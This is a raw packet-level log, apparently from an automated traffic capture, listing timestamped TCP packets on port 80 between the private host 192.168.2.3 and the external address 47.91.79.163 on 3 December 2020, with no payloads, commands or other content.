Dec 3, 2020 10:02:31.824637890 CET	49716	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.827446938 CET	49716	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.843971014 CET	80	49716	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:31.844048977 CET	49716	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.860543966 CET	80	49716	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:31.881911039 CET	80	49716	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:31.882008076 CET	49716	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.882062912 CET	49716	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:31.900126934 CET	80	49716	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:32.131494045 CET	49717	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.148147106 CET	80	49717	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:32.148253918 CET	49717	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.151700974 CET	49717	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.168303013 CET	80	49717	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:32.168423891 CET	49717	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.184946060 CET	80	49717	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:32.212960958 CET	80	49717	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:32.213109016 CET	49717	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.213141918 CET	49717	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.229652882 CET	80	49717	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:32.458548069 CET	49718	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.485948086 CET	80	49718	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:32.486047983 CET	49718	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.492296934 CET	49718	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.508912086 CET	80	49718	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:32.509088993 CET	49718	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.525696993 CET	80	49718	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:32.556118011 CET	80	49718	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:32.556305885 CET	49718	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.556605101 CET	49718	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.573268890 CET	80	49718	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:32.745465040 CET	49719	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.762104034 CET	80	49719	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:32.762232065 CET	49719	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.765127897 CET	49719	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.781636000 CET	80	49719	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:32.781712055 CET	49719	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.798201084 CET	80	49719	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:32.824419975 CET	80	49719	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:32.824513912 CET	49719	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.824558020 CET	49719	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:32.841069937 CET	80	49719	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:33.053324938 CET	49720	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.069881916 CET	80	49720	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:33.069984913 CET	49720	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.073391914 CET	49720	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.090538025 CET	80	49720	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:33.090715885 CET	49720	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.107218981 CET	80	49720	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:33.145654917 CET	80	49720	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:33.145730972 CET	49720	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.145802021 CET	49720	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.162256002 CET	80	49720	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:33.372246027 CET	49721	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.388926029 CET	80	49721	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:33.389023066 CET	49721	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.392092943 CET	49721	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.408685923 CET	80	49721	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:33.408750057 CET	49721	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.425261974 CET	80	49721	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:33.455180883 CET	80	49721	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:33.455419064 CET	49721	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.455452919 CET	49721	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.472078085 CET	80	49721	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:33.683304071 CET	49722	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.699888945 CET	80	49722	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:33.699986935 CET	49722	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.703087091 CET	49722	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.719614029 CET	80	49722	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:33.719687939 CET	49722	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.736156940 CET	80	49722	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:33.764564991 CET	80	49722	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:33.764689922 CET	49722	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.764722109 CET	49722	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:33.781212091 CET	80	49722	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:34.036680937 CET	49723	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.053201914 CET	80	49723	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:34.053284883 CET	49723	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.056226015 CET	49723	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.072670937 CET	80	49723	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:34.072757959 CET	49723	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.089221001 CET	80	49723	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:34.116974115 CET	80	49723	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:34.117074013 CET	49723	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.117096901 CET	49723	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.133558035 CET	80	49723	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:34.346314907 CET	49724	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.362951040 CET	80	49724	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:34.363050938 CET	49724	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.377229929 CET	49724	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.393831015 CET	80	49724	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:34.393970013 CET	49724	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.410476923 CET	80	49724	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:34.437256098 CET	80	49724	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:34.437333107 CET	49724	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.437366962 CET	49724	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.453917980 CET	80	49724	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:34.807516098 CET	49725	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.824115038 CET	80	49725	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:34.824263096 CET	49725	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.827049971 CET	49725	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.843575001 CET	80	49725	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:34.843691111 CET	49725	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.860177994 CET	80	49725	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:34.971106052 CET	80	49725	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:34.971230984 CET	49725	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.971323967 CET	49725	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:34.987852097 CET	80	49725	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:35.223557949 CET	49726	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:35.240156889 CET	80	49726	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:35.240375996 CET	49726	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:35.243072987 CET	49726	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:35.259630919 CET	80	49726	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:35.259756088 CET	49726	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:35.276252985 CET	80	49726	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:35.402596951 CET	80	49726	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:35.402704954 CET	49726	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:35.402760029 CET	49726	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:35.419241905 CET	80	49726	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:36.009068966 CET	49727	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.025602102 CET	80	49727	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:36.025729895 CET	49727	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.028625965 CET	49727	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.045197964 CET	80	49727	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:36.045317888 CET	49727	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.061851025 CET	80	49727	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:36.086844921 CET	80	49727	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:36.086939096 CET	49727	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.086975098 CET	49727	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.103503942 CET	80	49727	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:36.293435097 CET	49728	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.310046911 CET	80	49728	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:36.310347080 CET	49728	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.313062906 CET	49728	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.329668999 CET	80	49728	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:36.329809904 CET	49728	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.346374989 CET	80	49728	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:36.372262955 CET	80	49728	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:36.372394085 CET	49728	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.372428894 CET	49728	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.389012098 CET	80	49728	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:36.761456013 CET	49729	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.778032064 CET	80	49729	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:36.778145075 CET	49729	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.782392025 CET	49729	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.798908949 CET	80	49729	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:36.798995972 CET	49729	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.815438986 CET	80	49729	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:36.844795942 CET	80	49729	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:36.844999075 CET	49729	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.922146082 CET	49729	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:36.938678026 CET	80	49729	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:38.563241959 CET	49730	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:38.579785109 CET	80	49730	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:38.580092907 CET	49730	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:38.586697102 CET	49730	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:38.603142023 CET	80	49730	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:38.603267908 CET	49730	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:38.619718075 CET	80	49730	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:38.645181894 CET	80	49730	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:38.645258904 CET	49730	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:38.645313978 CET	49730	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:38.661689043 CET	80	49730	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:38.884723902 CET	49731	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:38.901350021 CET	80	49731	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:38.901472092 CET	49731	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:38.904767990 CET	49731	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:38.921201944 CET	80	49731	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:38.921297073 CET	49731	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:38.937721014 CET	80	49731	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:38.965207100 CET	80	49731	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:38.965313911 CET	49731	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:38.965354919 CET	49731	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:38.981959105 CET	80	49731	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:39.182904005 CET	49734	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.199544907 CET	80	49734	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:39.199645042 CET	49734	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.202320099 CET	49734	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.218847990 CET	80	49734	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:39.218918085 CET	49734	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.235456944 CET	80	49734	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:39.261558056 CET	80	49734	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:39.261693001 CET	49734	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.261754990 CET	49734	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.278523922 CET	80	49734	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:39.517184973 CET	49735	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.533802032 CET	80	49735	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:39.533968925 CET	49735	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.538012981 CET	49735	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.554546118 CET	80	49735	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:39.554655075 CET	49735	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.571084023 CET	80	49735	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:39.596359015 CET	80	49735	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:39.596539974 CET	49735	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.596565008 CET	49735	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.615993977 CET	80	49735	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:39.831638098 CET	49736	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.848170042 CET	80	49736	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:39.848326921 CET	49736	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.856527090 CET	49736	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.873157024 CET	80	49736	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:39.873260021 CET	49736	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.889857054 CET	80	49736	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:39.914695024 CET	80	49736	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:39.914875984 CET	49736	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.914987087 CET	49736	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:39.931442976 CET	80	49736	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:40.148029089 CET	49739	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.164661884 CET	80	49739	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:40.164797068 CET	49739	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.172331095 CET	49739	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.188736916 CET	80	49739	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:40.188839912 CET	49739	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.205231905 CET	80	49739	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:40.234574080 CET	80	49739	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:40.234693050 CET	49739	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.234759092 CET	49739	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.251255989 CET	80	49739	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:40.444881916 CET	49740	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.461457968 CET	80	49740	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:40.461546898 CET	49740	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.464315891 CET	49740	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.480878115 CET	80	49740	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:40.480942011 CET	49740	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.497610092 CET	80	49740	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:40.524907112 CET	80	49740	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:40.525031090 CET	49740	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.525059938 CET	49740	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.541604996 CET	80	49740	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:40.751588106 CET	49742	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.768227100 CET	80	49742	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:40.768353939 CET	49742	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.771995068 CET	49742	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.788527012 CET	80	49742	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:40.788624048 CET	49742	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.805175066 CET	80	49742	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:40.829597950 CET	80	49742	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:40.829751015 CET	49742	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.829822063 CET	49742	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:40.846193075 CET	80	49742	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:41.066194057 CET	49743	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.082866907 CET	80	49743	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:41.083014965 CET	49743	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.097711086 CET	49743	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.114341021 CET	80	49743	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:41.114415884 CET	49743	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.130997896 CET	80	49743	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:41.155303001 CET	80	49743	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:41.155440092 CET	49743	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.155467033 CET	49743	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.172358990 CET	80	49743	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:41.398797035 CET	49744	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.415457964 CET	80	49744	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:41.415627956 CET	49744	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.418473959 CET	49744	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.435121059 CET	80	49744	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:41.435306072 CET	49744	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.451893091 CET	80	49744	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:41.476969004 CET	80	49744	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:41.477114916 CET	49744	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.477153063 CET	49744	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.495356083 CET	80	49744	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:41.707206011 CET	49747	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.723854065 CET	80	49747	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:41.723967075 CET	49747	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.727267027 CET	49747	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.743824959 CET	80	49747	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:41.743932009 CET	49747	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.760479927 CET	80	49747	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:41.777842045 CET	80	49747	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:41.777978897 CET	49747	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.778006077 CET	49747	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:41.795741081 CET	80	49747	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.013024092 CET	49748	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.029616117 CET	80	49748	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.029707909 CET	49748	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.032912016 CET	49748	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.049482107 CET	80	49748	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.049576998 CET	49748	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.065982103 CET	80	49748	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.092412949 CET	80	49748	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.092549086 CET	49748	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.092585087 CET	49748	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.109174013 CET	80	49748	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.307007074 CET	49749	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.323523045 CET	80	49749	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.323601007 CET	49749	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.331414938 CET	49749	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.347928047 CET	80	49749	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.348020077 CET	49749	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.364445925 CET	80	49749	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.389555931 CET	80	49749	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.389687061 CET	49749	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.389725924 CET	49749	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.406141996 CET	80	49749	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.633588076 CET	49750	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.650146008 CET	80	49750	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.650245905 CET	49750	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.653877020 CET	49750	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.670417070 CET	80	49750	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.670490026 CET	49750	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.686981916 CET	80	49750	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.717298985 CET	80	49750	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.717468977 CET	49750	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.717515945 CET	49750	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.733990908 CET	80	49750	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.957804918 CET	49751	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.974452972 CET	80	49751	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:42.974556923 CET	49751	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:42.984813929 CET	49751	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.004211903 CET	80	49751	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.008405924 CET	49751	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.025537968 CET	80	49751	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.050733089 CET	80	49751	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.050951958 CET	49751	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.051065922 CET	49751	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.067559958 CET	80	49751	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.261701107 CET	49752	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.278129101 CET	80	49752	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.279997110 CET	49752	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.283330917 CET	49752	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.299787045 CET	80	49752	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.301074028 CET	49752	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.317531109 CET	80	49752	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.342667103 CET	80	49752	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.345999002 CET	49752	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.346030951 CET	49752	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.362576962 CET	80	49752	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.589915991 CET	49755	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.606638908 CET	80	49755	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.608680964 CET	49755	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.612446070 CET	49755	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.629005909 CET	80	49755	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.629123926 CET	49755	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.645503998 CET	80	49755	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.673908949 CET	80	49755	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.674042940 CET	49755	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.674096107 CET	49755	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.690562010 CET	80	49755	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.911387920 CET	49756	80	192.168.2.3	47.91.79.163
